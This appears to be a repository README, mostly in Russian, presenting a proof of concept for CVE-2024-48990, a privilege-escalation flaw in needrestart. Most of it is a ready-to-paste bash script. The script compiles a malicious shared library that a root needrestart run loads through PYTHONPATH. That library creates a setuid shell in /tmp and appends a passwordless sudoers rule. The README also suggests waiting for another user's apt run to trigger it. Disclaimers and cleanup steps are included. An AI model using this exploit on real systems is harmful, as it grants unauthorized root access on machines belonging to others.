
Testing POC for use cases
Этот репозиторий содержит Proof of Concept (PoC) для демонстрации уязвимости в программе needrestart, которая неправильно задаёт путь Python, что приводит к возможному повышению привилегий. PoC показывает потенциальный способ получения повышенных привилегий путём эксплуатации этой ошибки.
Уязвимость CVE-2024-48990 находится в пакете needrestart. В частности, он неправильно устанавливает путь Python, что может быть использовано для повышения привилегий при определённых действиях.
Данный PoC моделирует сценарий, при котором вредоносная разделяемая библиотека загружается через Python для манипуляции системными настройками и получения повышенных привилегий. Используйте его только в контролируемой безопасной среде для тестирования.
Чтобы проверить, уязвимы ли вы, выполните:
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
Если вы хотите уязвимую версию для тестирования, просто выполните:
sudo apt install needrestart=3.7-3
Чтобы вызвать уязвимость, выполните следующее, пока работает скрипт-слушатель:
sudo apt remove ntp; sudo apt install ntp
Эта команда устанавливает пакет (ntp в данном случае), что приводит к срабатыванию проблемы с needrestart, однако в идеале вы бы дождались, пока другой пользователь системы выполнит обновление или что-то, что запускает needrestart, например, sudo apt update.
Выполните следующий скрипт, чтобы настроить PoC и вызвать уязвимость. Вы можете скопировать и вставить его целиком в терминал и ждать или запустить вручную, как показано выше с ntp. Скрипт также добавляет бинарник в sudo path для всех пользователей для демонстрации — на самом деле вы можете просто добавить все пути для sudo для своего пользователя, но я хотел показать оба варианта:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Если вы хотите очистить тестовые файлы и удалить себя из sudoers, выполните следующее с повышенной привилегией:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf malicious/ poc; ls
needrestart (или удалён и переустановлен для вызова)Этот PoC предназначен только для тестирования и не должен использоваться в производственной среде. Эксплуатация этой уязвимости в несанкционированных средах может быть незаконной. Всегда получайте явное разрешение перед проведением любого тестирования безопасности.
Удачного тестирования! 🧪🚀